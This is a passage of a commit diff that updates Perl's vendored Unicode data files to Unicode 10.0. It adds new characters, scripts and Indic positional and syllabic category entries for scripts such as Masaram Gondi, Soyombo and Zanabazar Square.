@@ -856,6 +857,7 @@
 Chinese Bopomofo Extensions	31A0
 chinese fifth or neutral tone, mandarin	02D9
 chinese first tone, mandarin	02C9
+Chinese Folk Religion Symbols	1F260
 chinese fourth tone, mandarin	02CB
 chinese second tone, mandarin	02CA
 chinese third tone, mandarin	02C7
@@ -941,6 +943,7 @@
 CJK Unified Ideographs Extension C	2A700
 CJK Unified Ideographs Extension D	2B740
 CJK Unified Ideographs Extension E	2B820
+CJK Unified Ideographs Extension F	2CEB0
 CLAPPING HANDS SIGN	1F44F
 claudian antisigma	2183
 claudian digamma inversum	2132
@@ -2078,6 +2081,7 @@
 FLOPPY DISK	1F4BE
 FLORAL HEART BULLET, REVERSED ROTATED	2619
 florin currency symbol	0192
+FLYING SAUCER	1F6F8
 folder	0192
 FONGMAN, THAI CHARACTER	0E4F
 food available symbol	1F37D
@@ -2470,6 +2474,8 @@
 HEH WITH YEH ABOVE, ARABIC LETTER	06C0
 HELM SYMBOL	2388
 HELMET WITH WHITE CROSS	26D1
+Hentaigana	1B002
+Hentaigana	1B100
 HERMES, STAFF OF	269A
 HERMITIAN CONJUGATE MATRIX	22B9
 Hexagram Symbols, Yijing / I Ching	4DC0
@@ -2545,6 +2551,7 @@
 I Ching / Yijing Monogram and Digram Symbols	268A
 I Ching / Yijing Trigram Symbols	2630
 i dot, latin capital letter	0130
+I LOVE YOU HAND SIGN	1F91F
 I WITH ACUTE, LATIN CAPITAL LETTER	00CD
 I WITH ACUTE, LATIN SMALL LETTER	00ED
 I WITH BREVE, LATIN SMALL LETTER	012D
@@ -2808,6 +2815,7 @@
 KA, HIRAGANA LETTER SMALL	3095
 kabusiki-gaisya	337F
 Kaithi	11080
+Kana Extended-A	1B100
 Kana Repeat Marks	3031
 Kana Supplement	1B000
 Kanbun Ideographic Annotation, Japanese	3190
@@ -3214,6 +3222,7 @@
 LOOP, DOUBLE CURLY	27BF
 LORRAINE, CROSS OF	2628
 lorry, black	26DF
+love, hand sign	1F91F
 LOW ACUTE ACCENT, MODIFIER LETTER	02CF
 LOW ASTERISK	204E
 low double comma quotation mark	201E
@@ -3320,6 +3329,7 @@
 marque deposee	1F16B
 MARRIAGE SYMBOL	26AD
 mars	2642
+Masaram Gondi	11D00
 MASCULINE ORDINAL INDICATOR	00BA
 masks of comedy and tragedy	1F3AD
 MASU MARK	303C
@@ -3686,6 +3696,7 @@
 Numeric Symbols for Divination, Khmer	17F0
 numerics lock	21ED
 NUMERO SIGN	2116
+Nushu	1B170
 nut	2002
 o bar, latin capital letter	019F
 o bar, latin small letter	0275
@@ -4082,6 +4093,7 @@
 pork (on menus)	1F416
 Portrait and Role Symbols	1F464
 Portrait and Role Symbols	1F930
+Portrait and Role Symbols	1F9D0
 POSITION INDICATOR	2316
 POSITION INDICATOR, SQUARE	2BD0
 positive difference or sum	2A24
@@ -4521,6 +4533,7 @@
 Role Symbols	1F481
 Role Symbols, Portrait and	1F464
 Role Symbols, Portrait and	1F930
+Role Symbols, Portrait and	1F9D0
 ROLLING ON THE FLOOR LAUGHING	1F923
 Roman Numerals	2160
 Roman Numerals, Archaic	2185
@@ -4857,6 +4870,7 @@
 sound	1F50A
 SOUND RECORDING COPYRIGHT	2117
 SOURCE, INFORMATION	2139
+Soyombo	11A50
 SPACE	0020
 SPACE MARK, OGHAM	1680
 SPACE, EM	2003
@@ -5248,6 +5262,7 @@
 Syriac Letters	0710
 Syriac Punctuation and Signs	0700
 syriac sam	070F
+Syriac Supplement	0860
 T WITH CARON, LATIN SMALL LETTER	0165
 T WITH CEDILLA, LATIN SMALL LETTER	0163
 T WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER	1E71
@@ -5267,6 +5282,7 @@
 T, LATIN LETTER SMALL CAPITAL	1D1B
 T, LATIN SMALL LETTER TURNED	0287
 T, LATIN SUBSCRIPT SMALL LETTER	209C
+T-REX	1F996
 tab	0009
 TAB KEY, HORIZONTAL	2B7E
 TAB KEY, VERTICAL	2B7F
@@ -5603,6 +5619,9 @@
 TWO DOT PUNCTUATION	205A
 TWO, SUPERSCRIPT	00B2
 TWO-EM DASH	2E3A
+Typicon Punctuation	2E44
+Typicon Symbols	1F900
+tyrannosaurus rex	1F996
 U BAR, LATIN CAPITAL LETTER	0244
 U BAR, LATIN SMALL LETTER	0289
 U WITH ACUTE, LATIN CAPITAL LETTER	00DA
@@ -5718,6 +5737,7 @@
 Vai	A500
 valentine	2665
 valid	22A8
+VAMPIRE	1F9DB
 varavu, tamil	0BF7
 varia, greek	0300
 VARIATION INDICATOR, IDEOGRAPHIC	303E
@@ -5984,6 +6004,7 @@
 Z, BLACK-LETTER CAPITAL	2128
 Z, DOUBLE-STRUCK CAPITAL	2124
 Z, LATIN LETTER SMALL CAPITAL	1D22
+Zanabazar Square	11A00
 Zapf Dingbats Series 100, ITC	2700
 ZERO WIDTH JOINER	200D
 ZERO WIDTH NO-BREAK SPACE	FEFF
@@ -5995,6 +6016,7 @@
 ZIGZAG ABOVE, COMBINING	035B
 Zodiac, Signs of the Asian	1F400
 Zodiacal Symbols	2648
+ZOMBIE	1F9DF
 zwj	200D
 zwnbsp	FEFF
 zwnj	200C

Modified: vendor/perl/dist/lib/unicore/IndicPositionalCategory.txt
===================================================================
--- vendor/perl/dist/lib/unicore/IndicPositionalCategory.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/IndicPositionalCategory.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# IndicPositionalCategory-9.0.0.txt
-# Date: 2016-06-09, 19:33:00 GMT [RP]
-# © 2016 Unicode®, Inc.
+# IndicPositionalCategory-10.0.0.txt
+# Date: 2017-05-31, 01:07:00 GMT [RP]
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -59,10 +59,11 @@
 # Ahom, Balinese, Batak, Bengali, Bhaiksuki, Brahmi, Buginese, Buhid,
 # Chakma, Cham, Devanagari, Grantha, Gujarati, Gurmukhi, Hanunoo,
 # Javanese, Kaithi, Kannada, Kharoshthi, Khmer, Khojki, Khudawadi,
-# Lao, Lepcha, Limbu, Malayalam, Marchen, Meetei Mayek, Modi,
-# Myanmar, Newa, New Tai Lue, Oriya, Rejang, Saurashtra, Sharada,
-# Siddham, Sinhala, Sundanese, Syloti Nagri, Tagalog, Tagbanwa, Tai
-# Tham, Tai Viet, Takri, Tamil, Telugu, Thai, Tibetan, and Tirhuta.
+# Lao, Lepcha, Limbu, Malayalam, Marchen, Masaram Gondi, Meetei
+# Mayek, Modi, Myanmar, Newa, New Tai Lue, Oriya, Rejang, Saurashtra,
+# Sharada, Siddham, Sinhala, Soyombo, Sundanese, Syloti Nagri,
+# Tagalog, Tagbanwa, Tai Tham, Tai Viet, Takri, Tamil, Telugu, Thai,
+# Tibetan, Tirhuta, and Zanabazar Square.
 #
 # All characters for all other scripts not in that list
 # take the default value for this property.
@@ -179,6 +180,7 @@
 1C24..1C26    ; Right # Mc   [3] LEPCHA SUBJOINED LETTER YA..LEPCHA VOWEL SIGN AA
 1C2A..1C2B    ; Right # Mc   [2] LEPCHA VOWEL SIGN U..LEPCHA VOWEL SIGN UU
 1CE1          ; Right # Mc       VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA
+1CF7          ; Right # Mc       VEDIC SIGN ATIKRAMA
 A823..A824    ; Right # Mc   [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I
 A827          ; Right # Mc       SYLOTI NAGRI VOWEL SIGN OO
 A880..A881    ; Right # Mc   [2] SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VISARGA
@@ -186,7 +188,7 @@
 A952..A953    ; Right # Mc   [2] REJANG CONSONANT SIGN H..REJANG VIRAMA
 A983          ; Right # Mc       JAVANESE SIGN WIGNYAN
 A9B4..A9B5    ; Right # Mc   [2] JAVANESE VOWEL SIGN TARUNG..JAVANESE VOWEL SIGN TOLONG
-A9BD..A9BF    ; Right # Mc   [3] JAVANESE CONSONANT SIGN KERET..JAVANESE CONSONANT SIGN CAKRA
+A9BD..A9BE    ; Right # Mc   [2] JAVANESE CONSONANT SIGN KERET..JAVANESE CONSONANT SIGN PENGKAL
 AA33          ; Right # Mc       CHAM CONSONANT SIGN YA
 AA4D          ; Right # Mc       CHAM CONSONANT SIGN FINAL H
 AA7B          ; Right # Mc       MYANMAR SIGN PAO KAREN TONE
@@ -238,6 +240,9 @@
 116AF         ; Right # Mc       TAKRI VOWEL SIGN II
 116B6         ; Right # Mc       TAKRI SIGN VIRAMA
 11720..11721  ; Right # Mc   [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA
+11A39         ; Right # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A57..11A58  ; Right # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A97         ; Right # Mc       SOYOMBO SIGN VISARGA
 11C2F         ; Right # Mc       BHAIKSUKI VOWEL SIGN AA
 11C3E         ; Right # Mc       BHAIKSUKI SIGN VISARGA
 11CA9         ; Right # Mc       MARCHEN SUBJOINED LETTER YA
@@ -335,6 +340,7 @@
 0A81..0A82    ; Top # Mn   [2] GUJARATI SIGN CANDRABINDU..GUJARATI SIGN ANUSVARA
 0AC5          ; Top # Mn       GUJARATI VOWEL SIGN CANDRA E
 0AC7..0AC8    ; Top # Mn   [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
+0AFA..0AFF    ; Top # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; Top # Mn       ORIYA SIGN CANDRABINDU
 0B3F          ; Top # Mn       ORIYA VOWEL SIGN I
 0B56          ; Top # Mn       ORIYA AI LENGTH MARK
@@ -350,7 +356,8 @@
 0CBF          ; Top # Mn       KANNADA VOWEL SIGN I
 0CC6          ; Top # Mn       KANNADA VOWEL SIGN E
 0CCC..0CCD    ; Top # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
-0D01          ; Top # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Top # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D3B..0D3C    ; Top # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D4D          ; Top # Mn       MALAYALAM SIGN VIRAMA
 0DCA          ; Top # Mn       SINHALA SIGN AL-LAKUNA
 0DD2..0DD3    ; Top # Mn   [2] SINHALA VOWEL SIGN KETTI IS-PILLA..SINHALA VOWEL SIGN DIGA IS-PILLA
@@ -478,10 +485,22 @@
 11722..11723  ; Top # Mn   [2] AHOM VOWEL SIGN I..AHOM VOWEL SIGN II
 11727         ; Top # Mn       AHOM VOWEL SIGN AW
 11729..1172B  ; Top # Mn   [3] AHOM VOWEL SIGN AI..AHOM SIGN KILLER
+11A01         ; Top # Mn       ZANABAZAR SQUARE VOWEL SIGN I
+11A04..11A09  ; Top # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN E..ZANABAZAR SQUARE VOWEL SIGN REVERSED I
+11A35..11A38  ; Top # Mn   [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA
+11A51         ; Top # Mn       SOYOMBO VOWEL SIGN I
+11A54..11A56  ; Top # Mn   [3] SOYOMBO VOWEL SIGN E..SOYOMBO VOWEL SIGN OE
+11A96         ; Top # Mn       SOYOMBO SIGN ANUSVARA
+11A98         ; Top # Mn       SOYOMBO GEMINATION MARK
 11C30..11C31  ; Top # Mn   [2] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN II
 11C38..11C3D  ; Top # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
 11CB3         ; Top # Mn       MARCHEN VOWEL SIGN E
 11CB5..11CB6  ; Top # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D35  ; Top # Mn   [5] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN UU
+11D3A         ; Top # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Top # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D41  ; Top # Mn   [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA
+11D43         ; Top # Mn       MASARAM GONDI SIGN CANDRA
 
 # Indic_Positional_Category=Bottom
 
@@ -601,11 +620,22 @@
 1171D         ; Bottom # Mn       AHOM CONSONANT SIGN MEDIAL LA
 11724..11725  ; Bottom # Mn   [2] AHOM VOWEL SIGN U..AHOM VOWEL SIGN UU
 11728         ; Bottom # Mn       AHOM VOWEL SIGN O
+11A02..11A03  ; Bottom # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN UE..ZANABAZAR SQUARE VOWEL SIGN U
+11A0A         ; Bottom # Mn       ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A34  ; Bottom # Mn   [2] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN VIRAMA
+11A3B..11A3E  ; Bottom # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A52..11A53  ; Bottom # Mn   [2] SOYOMBO VOWEL SIGN UE..SOYOMBO VOWEL SIGN U
+11A59..11A5B  ; Bottom # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A95  ; Bottom # Mn  [12] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO FINAL CONSONANT SIGN -A
 11C32..11C36  ; Bottom # Mn   [5] BHAIKSUKI VOWEL SIGN U..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C3F         ; Bottom # Mn       BHAIKSUKI SIGN VIRAMA
 11C92..11CA7  ; Bottom # Mn  [22] MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA
 11CAA..11CB0  ; Bottom # Mn   [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
 11CB2         ; Bottom # Mn       MARCHEN VOWEL SIGN U
+11D36         ; Bottom # Mn       MASARAM GONDI VOWEL SIGN VOCALIC R
+11D42         ; Bottom # Mn       MASARAM GONDI SIGN NUKTA
+11D44         ; Bottom # Mn       MASARAM GONDI SIGN HALANTA
+11D47         ; Bottom # Mn       MASARAM GONDI RA-KARA
 
 # Indic_Positional_Category=Top_And_Bottom
 
@@ -649,6 +679,10 @@
 1B3B          ; Bottom_And_Right # Mc       BALINESE VOWEL SIGN RA REPA TEDUNG
 A9C0          ; Bottom_And_Right # Mc       JAVANESE PANGKON
 
+# Indic_Positional_Category=Bottom_And_Left
+
+A9BF          ; Bottom_And_Left # Mc       JAVANESE CONSONANT SIGN CAKRA
+
 # Indic_Positional_Category=Top_And_Bottom_And_Right
 
 1B3D          ; Top_And_Bottom_And_Right # Mc       BALINESE VOWEL SIGN LA LENGA TEDUNG

Modified: vendor/perl/dist/lib/unicore/IndicSyllabicCategory.txt
===================================================================
--- vendor/perl/dist/lib/unicore/IndicSyllabicCategory.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/IndicSyllabicCategory.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# IndicSyllabicCategory-9.0.0.txt
-# Date: 2016-05-21, 02:46:00 GMT [RP]
-# © 2016 Unicode®, Inc.
+# IndicSyllabicCategory-10.0.0.txt
+# Date: 2017-05-31, 01:07:00 GMT [KW, RP]
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -21,7 +21,7 @@
 # of Indic script characters which are relevant to how Indic
 # syllables (or aksaras) are constructed. Note that rules for
 # syllabic structure in Indic scripts may differ significantly
-# from how phonological syllables are defined. 
+# from how phonological syllables are defined.
 #
 # Format:
 #    Field 0  Unicode code point value or range of code point values
@@ -38,11 +38,12 @@
 # Ahom, Balinese, Batak, Bengali, Bhaiksuki, Brahmi, Buginese, Buhid,
 # Chakma, Cham, Devanagari, Grantha, Gujarati, Gurmukhi, Hanunoo,
 # Javanese, Kaithi, Kannada, Kayah Li, Kharoshthi, Khmer, Khojki,
-# Khudawadi, Lao, Lepcha, Limbu, Mahajani, Malayalam, Marchen, Meetei
-# Mayek, Modi, Multani, Myanmar, Newa, New Tai Lue, Oriya, Phags-pa,
-# Rejang, Saurashtra, Sharada, Siddham, Sinhala, Sundanese, Syloti
-# Nagri, Tagalog, Tagbanwa, Tai Le, Tai Tham, Tai Viet, Takri, Tamil,
-# Telugu, Thai, Tibetan, and Tirhuta.
+# Khudawadi, Lao, Lepcha, Limbu, Mahajani, Malayalam, Marchen,
+# Masaram Gondi, Meetei Mayek, Modi, Multani, Myanmar, Newa, New Tai
+# Lue, Oriya, Phags-pa, Rejang, Saurashtra, Sharada, Siddham,
+# Sinhala, Soyombo, Sundanese, Syloti Nagri, Tagalog, Tagbanwa, Tai
+# Le, Tai Tham, Tai Viet, Takri, Tamil, Telugu, Thai, Tibetan,
+# Tirhuta, and Zanabazar Square.
 #
 # All characters for all other scripts not in that list
 # take the default value for this property, unless they
@@ -63,7 +64,6 @@
 # Indic_Syllabic_Category=Bindu
 
 # Bindu/Anusvara (nasalization or -n)
-# Excludes various Vedic nasalization signs.
 
 # [Not derivable]
 
@@ -70,6 +70,7 @@
 0900..0902    ; Bindu # Mn   [3] DEVANAGARI SIGN INVERTED CANDRABINDU..DEVANAGARI SIGN ANUSVARA
 0981          ; Bindu # Mn       BENGALI SIGN CANDRABINDU
 0982          ; Bindu # Mc       BENGALI SIGN ANUSVARA
+09FC          ; Bindu # Lo       BENGALI LETTER VEDIC ANUSVARA
 0A01..0A02    ; Bindu # Mn   [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
 0A70          ; Bindu # Mn       GURMUKHI TIPPI
 0A81..0A82    ; Bindu # Mn   [2] GUJARATI SIGN CANDRABINDU..GUJARATI SIGN ANUSVARA
@@ -80,6 +81,7 @@
 0C01..0C02    ; Bindu # Mc   [2] TELUGU SIGN CANDRABINDU..TELUGU SIGN ANUSVARA
 0C81          ; Bindu # Mn       KANNADA SIGN CANDRABINDU
 0C82          ; Bindu # Mc       KANNADA SIGN ANUSVARA
+0D00          ; Bindu # Mn       MALAYALAM SIGN COMBINING ANUSVARA ABOVE
 0D01          ; Bindu # Mn       MALAYALAM SIGN CANDRABINDU
 0D02          ; Bindu # Mc       MALAYALAM SIGN ANUSVARA
 0D82          ; Bindu # Mc       SINHALA SIGN ANUSVARAYA
@@ -90,6 +92,7 @@
 1036          ; Bindu # Mn       MYANMAR SIGN ANUSVARA
 17C6          ; Bindu # Mn       KHMER SIGN NIKAHIT
 1932          ; Bindu # Mn       LIMBU SMALL LETTER ANUSVARA
+1A74          ; Bindu # Mn       TAI THAM SIGN MAI KANG
 1B00..1B02    ; Bindu # Mn   [3] BALINESE SIGN ULU RICEM..BALINESE SIGN CECEK
 1B80          ; Bindu # Mn       SUNDANESE SIGN PANYECEK
 1C34..1C35    ; Bindu # Mc   [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG
@@ -97,6 +100,7 @@
 A873          ; Bindu # Lo       PHAGS-PA LETTER CANDRABINDU
 A880          ; Bindu # Mc       SAURASHTRA SIGN ANUSVARA
 A8C5          ; Bindu # Mn       SAURASHTRA SIGN CANDRABINDU
+A8F2..A8F3    ; Bindu # Lo   [2] DEVANAGARI SIGN SPACING CANDRABINDU..DEVANAGARI SIGN CANDRABINDU VIRAMA
 A980..A981    ; Bindu # Mn   [2] JAVANESE SIGN PANYANGGA..JAVANESE SIGN CECAK
 10A0E         ; Bindu # Mn       KHAROSHTHI SIGN ANUSVARA
 11000         ; Bindu # Mc       BRAHMI SIGN CANDRABINDU
@@ -108,13 +112,17 @@
 112DF         ; Bindu # Mn       KHUDAWADI SIGN ANUSVARA
 11300..11301  ; Bindu # Mn   [2] GRANTHA SIGN COMBINING ANUSVARA ABOVE..GRANTHA SIGN CANDRABINDU
 11302         ; Bindu # Mc       GRANTHA SIGN ANUSVARA
+1135E..1135F  ; Bindu # Lo   [2] GRANTHA LETTER VEDIC ANUSVARA..GRANTHA LETTER VEDIC DOUBLE ANUSVARA
 11443..11444  ; Bindu # Mn   [2] NEWA SIGN CANDRABINDU..NEWA SIGN ANUSVARA
 114BF..114C0  ; Bindu # Mn   [2] TIRHUTA SIGN CANDRABINDU..TIRHUTA SIGN ANUSVARA
 115BC..115BD  ; Bindu # Mn   [2] SIDDHAM SIGN CANDRABINDU..SIDDHAM SIGN ANUSVARA
 1163D         ; Bindu # Mn       MODI SIGN ANUSVARA
 116AB         ; Bindu # Mn       TAKRI SIGN ANUSVARA
+11A35..11A38  ; Bindu # Mn   [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA
+11A96         ; Bindu # Mn       SOYOMBO SIGN ANUSVARA
 11C3C..11C3D  ; Bindu # Mn   [2] BHAIKSUKI SIGN CANDRABINDU..BHAIKSUKI SIGN ANUSVARA
 11CB5..11CB6  ; Bindu # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D40         ; Bindu # Mn       MASARAM GONDI SIGN ANUSVARA
 
 # ================================================
 
@@ -123,7 +131,7 @@
 # Visarga (-h)
 # Includes specialized case for Sanskrit: ardhavisarga
 # Excludes letters for jihvamuliya and upadhmaniya, which are
-#   related, but structured somewhat differently. 
+#   related, but structured somewhat differently.
 
 # [Not derivable]
 
@@ -156,7 +164,10 @@
 115BE         ; Visarga # Mc       SIDDHAM SIGN VISARGA
 1163E         ; Visarga # Mc       MODI SIGN VISARGA
 116AC         ; Visarga # Mc       TAKRI SIGN VISARGA
+11A39         ; Visarga # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A97         ; Visarga # Mc       SOYOMBO SIGN VISARGA
 11C3E         ; Visarga # Mc       BHAIKSUKI SIGN VISARGA
+11D41         ; Visarga # Mn       MASARAM GONDI SIGN VISARGA
 
 # ================================================
 
@@ -187,14 +198,19 @@
 # Indic_Syllabic_Category=Nukta
 
 # Nukta (diacritic for borrowed consonants or other consonant
-# modifications)
+# modifications). Note that while the resulting sound is typically a
+# consonant, the base letter a nukta follows may be an independent
+# vowel. For example, <U+0A85 GUJARATI LETTER A, U+0AFD GUJARATI
+# SIGN THREE-DOT NUKTA ABOVE> is used to transcribe ARABIC LETTER
+# AIN.
 
-# [Derivation: (ccc=7) + 0F39 + 10A38..10A3A - 1037 - 1E94A]
+# [Not derivable]
 
 093C          ; Nukta # Mn       DEVANAGARI SIGN NUKTA
 09BC          ; Nukta # Mn       BENGALI SIGN NUKTA
 0A3C          ; Nukta # Mn       GURMUKHI SIGN NUKTA
 0ABC          ; Nukta # Mn       GUJARATI SIGN NUKTA
+0AFD..0AFF    ; Nukta # Mn   [3] GUJARATI SIGN THREE-DOT NUKTA ABOVE..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B3C          ; Nukta # Mn       ORIYA SIGN NUKTA
 0CBC          ; Nukta # Mn       KANNADA SIGN NUKTA
 0F39          ; Nukta # Mn       TIBETAN MARK TSA -PHRU
@@ -213,6 +229,7 @@
 114C3         ; Nukta # Mn       TIRHUTA SIGN NUKTA
 115C0         ; Nukta # Mn       SIDDHAM SIGN NUKTA
 116B7         ; Nukta # Mn       TAKRI SIGN NUKTA
+11D42         ; Nukta # Mn       MASARAM GONDI SIGN NUKTA
 
 # ================================================
 
@@ -261,6 +278,8 @@
 
 # [Not derivable]
 
+0D3B          ; Pure_Killer # Mn       MALAYALAM SIGN VERTICAL BAR VIRAMA
+0D3C          ; Pure_Killer # Mn       MALAYALAM SIGN CIRCULAR VIRAMA
 0E3A          ; Pure_Killer # Mn       THAI CHARACTER PHINTHU
 0E4E          ; Pure_Killer # Mn       THAI CHARACTER YAMAKKAN
 0F84          ; Pure_Killer # Mn       TIBETAN MARK HALANTA
@@ -268,6 +287,7 @@
 1714          ; Pure_Killer # Mn       TAGALOG SIGN VIRAMA
 1734          ; Pure_Killer # Mn       HANUNOO SIGN PAMUDPOD
 17D1          ; Pure_Killer # Mn       KHMER SIGN VIRIAM
+1A7A          ; Pure_Killer # Mn       TAI THAM SIGN RA HAAM
 1BAA          ; Pure_Killer # Mc       SUNDANESE SIGN PAMAAEH
 1BF2..1BF3    ; Pure_Killer # Mc   [2] BATAK PANGOLAT..BATAK PANONGONAN
 A806          ; Pure_Killer # Mn       SYLOTI NAGRI SIGN HASANTA
@@ -276,6 +296,8 @@
 11134         ; Pure_Killer # Mn       CHAKMA MAAYYAA
 112EA         ; Pure_Killer # Mn       KHUDAWADI SIGN VIRAMA
 1172B         ; Pure_Killer # Mn       AHOM SIGN KILLER
+11A34         ; Pure_Killer # Mn       ZANABAZAR SQUARE SIGN VIRAMA
+11D44         ; Pure_Killer # Mn       MASARAM GONDI SIGN HALANTA
 
 # ================================================
 
@@ -292,6 +314,9 @@
 AAF6          ; Invisible_Stacker # Mn       MEETEI MAYEK VIRAMA
 10A3F         ; Invisible_Stacker # Mn       KHAROSHTHI VIRAMA
 11133         ; Invisible_Stacker # Mn       CHAKMA VIRAMA
+11A47         ; Invisible_Stacker # Mn       ZANABAZAR SQUARE SUBJOINER
+11A99         ; Invisible_Stacker # Mn       SOYOMBO SUBJOINER
+11D45         ; Invisible_Stacker # Mn       MASARAM GONDI VIRAMA
 
 # ================================================
 
@@ -372,15 +397,22 @@
 115D8..115DB  ; Vowel_Independent # Lo   [4] SIDDHAM LETTER THREE-CIRCLE ALTERNATE I..SIDDHAM LETTER ALTERNATE U
 11600..1160D  ; Vowel_Independent # Lo  [14] MODI LETTER A..MODI LETTER AU
 11680..11689  ; Vowel_Independent # Lo  [10] TAKRI LETTER A..TAKRI LETTER AU
+11A00         ; Vowel_Independent # Lo       ZANABAZAR SQUARE LETTER A
+11A50         ; Vowel_Independent # Lo       SOYOMBO LETTER A
 11C00..11C08  ; Vowel_Independent # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C0D  ; Vowel_Independent # Lo   [4] BHAIKSUKI LETTER E..BHAIKSUKI LETTER AU
+11D00..11D06  ; Vowel_Independent # Lo   [6] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; Vowel_Independent # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B         ; Vowel_Independent # Lo       MASARAM GONDI LETTER AU
 
 # ================================================
 
 # Indic_Syllabic_Category=Vowel_Dependent
 
-# Dependent Vowels (contrasted with independent vowels and/or with complex placement)
-# Matras (in Indic scripts)
+# Dependent Vowels (contrasted with independent vowels and/or with
+# complex placement). Known as matras in Indic scripts. Also
+# includes vowel modifiers that follow dependent (and sometimes
+# independent) vowels.
 
 # [Not derivable]
 
@@ -497,7 +529,7 @@
 1A63..1A64    ; Vowel_Dependent # Mc   [2] TAI THAM VOWEL SIGN AA..TAI THAM VOWEL SIGN TALL AA
 1A65..1A6C    ; Vowel_Dependent # Mn   [8] TAI THAM VOWEL SIGN I..TAI THAM VOWEL SIGN OA BELOW
 1A6D..1A72    ; Vowel_Dependent # Mc   [6] TAI THAM VOWEL SIGN OY..TAI THAM VOWEL SIGN THAM AI
-1A73..1A74    ; Vowel_Dependent # Mn   [2] TAI THAM VOWEL SIGN OA ABOVE..TAI THAM SIGN MAI KANG
+1A73          ; Vowel_Dependent # Mn       TAI THAM VOWEL SIGN OA ABOVE
 1B35          ; Vowel_Dependent # Mc       BALINESE VOWEL SIGN TEDUNG
 1B36..1B3A    ; Vowel_Dependent # Mn   [5] BALINESE VOWEL SIGN ULU..BALINESE VOWEL SIGN RA REPA
 1B3B          ; Vowel_Dependent # Mc       BALINESE VOWEL SIGN RA REPA TEDUNG
@@ -593,6 +625,12 @@
 11722..11725  ; Vowel_Dependent # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11726         ; Vowel_Dependent # Mc       AHOM VOWEL SIGN E
 11727..1172A  ; Vowel_Dependent # Mn   [4] AHOM VOWEL SIGN AW..AHOM VOWEL SIGN AM
+11A01..11A06  ; Vowel_Dependent # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; Vowel_Dependent # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; Vowel_Dependent # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A51..11A56  ; Vowel_Dependent # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; Vowel_Dependent # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; Vowel_Dependent # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
 11C2F         ; Vowel_Dependent # Mc       BHAIKSUKI VOWEL SIGN AA
